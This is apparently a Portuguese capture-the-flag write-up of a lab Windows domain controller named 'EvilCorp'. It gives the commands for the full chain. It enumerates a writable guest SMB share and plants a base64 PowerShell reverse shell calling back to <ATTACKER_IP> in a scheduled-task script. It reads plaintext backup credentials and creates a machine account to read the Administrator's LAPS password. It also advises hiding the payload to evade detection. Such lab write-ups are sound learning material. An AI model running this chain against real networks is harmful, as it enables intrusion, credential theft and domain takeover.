EvilCorp

Máquina Windows Server 2022 com Active Directory onde um share SMB writable permite injetar um reverse shell numa scheduled task. Credenciais encontradas num backup levam à enumeração LAPS, onde uma misconfiguration nas ACLs permite a qualquer Domain Computer ler a password do Administrator.

Recon

Port scan

rustscan -a evilcorp.hc -- -sV

rustscan -sV em evilcorp.hc mostrando 53, 88, 135, 139, 389, 445, 636, 3389, 5985 e o RPC dinâmico de um Domain Controller — Portas do DC-01 (evilcorp.hc) — Kerberos, LDAP/LDAPS, SMB, DNS e WinRM.

O conjunto clássico de um Domain Controller — Kerberos, LDAP/LDAPS, SMB, DNS e WinRM. Com SMB exposto, comecei pela enumeração anônima.

SMB

Enumerei o SMB anonimamente e encontrei um share scripts com permissões de leitura e escrita para Guest.

nxc smb evilcorp.hc -u 'Guest' -p '' --shares

nxc smb listando shares como Guest — Share scripts com READ,WRITE para Guest.

Dentro do share scripts existia um arquivo autobackup.ps1 — um script PowerShell executado por uma scheduled task a cada minuto.

smbclient //evilcorp.hc/scripts -U 'Guest%' -c 'get autobackup.ps1'

conteúdo do autobackup.ps1 — autobackup.ps1 — scheduled task que roda a cada minuto.

Com escrita no share, injetei um reverse shell PowerShell encoded no autobackup.ps1. Coloquei o payload antes do código legítimo do script para que rodasse na próxima iteração da scheduled task sem quebrar o fluxo de backup.

$code = '$client = New-Object System.Net.Sockets.TCPClient("<ATTACKER_IP>",443); ...'
$bytes = [Text.Encoding]::Unicode.GetBytes($code)
$b64 = [Convert]::ToBase64String($bytes)

Antepus a invocação powershell -e <BASE64> ao autobackup.ps1 e reenviei o arquivo via smbclient.

smbclient //evilcorp.hc/scripts -U 'Guest%' -c 'put autobackup.ps1'

Subi um listener nc -lvnp 443 e recebi a shell como evilcorp\phillip em menos de um minuto. A flag de user fica em C:\Users\phillip\Desktop\user.txt.

shell PowerShell como evilcorp\\phillip no DC-01 — Shell como phillip no DC-01.

Privilege Escalation

Backup credentials

Os backups em C:\backups continham arquivos de C:\files, incluindo um logins.txt com as credenciais do phillip em claro. Extraí o arquivo e li a password — necessária para autenticar contra LDAP/SMB fora da shell, no passo de LAPS.

tar -tzf C:\backups\backup_20250108_224501.tar.gz
cd C:\Users\phillip & tar -xzf C:\backups\backup_20250108_224501.tar.gz & type phillip\logins.txt

extração do backup e leitura do logins.txt — logins.txt no backup com a senha de phillip em claro.

LAPS enumeration

Com as credenciais do phillip, confirmei que o atributo ms-MCS-AdmPwd (LAPS legacy) não era legível pelo próprio phillip:

nxc ldap evilcorp.hc -u phillip -p 'BT2h3ZTI5I6xuXRsFSd8NYpKB' -M laps

Analisei as ACLs do objeto CN=DC-01,OU=LAPS,DC=evilcorp,DC=hc com dsacls e encontrei a misconfiguration:

dsacls expondo read em ms-Mcs-AdmPwd para Domain Computers — Domain Computers com read em ms-Mcs-AdmPwd no DC.

Como phillip possui SeMachineAccountPrivilege (MachineAccountQuota >= 1), criei uma machine account e usei-a para ler a password.

Machine account + LAPS read

impacket-addcomputer evilcorp.hc/phillip:'BT2h3ZTI5I6xuXRsFSd8NYpKB' -computer-name 'FAKE01$' -computer-pass 'FakeP@ss123!' -dc-ip evilcorp.hc

criação de machine account via impacket-addcomputer — Machine account FAKE01$ criada via impacket-addcomputer.

nxc ldap evilcorp.hc -u 'FAKE01$' -p 'FakeP@ss123!' -M laps

leitura do atributo ms-MCS-AdmPwd via FAKE01$ — FAKE01$ lê o LAPS password do DC — é a do Administrator.

A password retornada pertence ao Administrator (legacy LAPS). Com ela, confirmei o acesso como Domain Admin e li a flag de root em C:\Users\Administrator\Desktop\root.txt.

nxc smb evilcorp.hc -u Administrator -p '.ZFVTO}oK9FVwl' -x 'dir C:\Users\Administrator\Desktop'

Pwn3d! como evilcorp\\Administrator — Pwn3d! como Administrator no DC.

Lessons Learned

SMB anônimo com share writable é um vetor direto em Windows com scheduled tasks — vale sempre enumerar o acesso Guest com nxc --shares.
Scheduled tasks em PowerShell servem tanto para persistência como para escalação: antepor o payload ao código legítimo preserva a função original e reduz a chance de detecção.
LAPS legacy (ms-MCS-AdmPwd) depende inteiramente das ACLs do atributo — o edge ReadLAPSPassword no BloodHound revela a misconfiguration rapidamente.
SeMachineAccountPrivilege (MachineAccountQuota >= 1) combinado com read ACL via Domain Computers permite o bypass. Auditar dsacls na OU do DC fecha esse caminho.
impacket-addcomputer com uma credencial de usuário padrão cria uma máquina que herda as permissões de Domain Computers — um passo de lateralização discreto e de impacto alto.

Impact

A EvilCorp perde o controle da sua espinha dorsal de identidade: com Domain Admin, o atacante alcança as contas, estações e servidores de todos os funcionários — e-mail, arquivos e sistemas internos inclusos.
Um intruso que entra sem credencial e termina com as chaves do domínio pode paralisar a operação, distribuir ransomware em escala ou exfiltrar dados corporativos sem deixar um canto fora de alcance.
Conter o incidente normalmente obriga a reconstruir a floresta AD — semanas de indisponibilidade e custo elevado, muito além do servidor comprometido.

References

Reference
LAPS — HackTricks
Enumerating AD object permissions with dsacls — ired.team
impacket-addcomputer — Fortra
MachineAccountQuota — The Hacker Recipes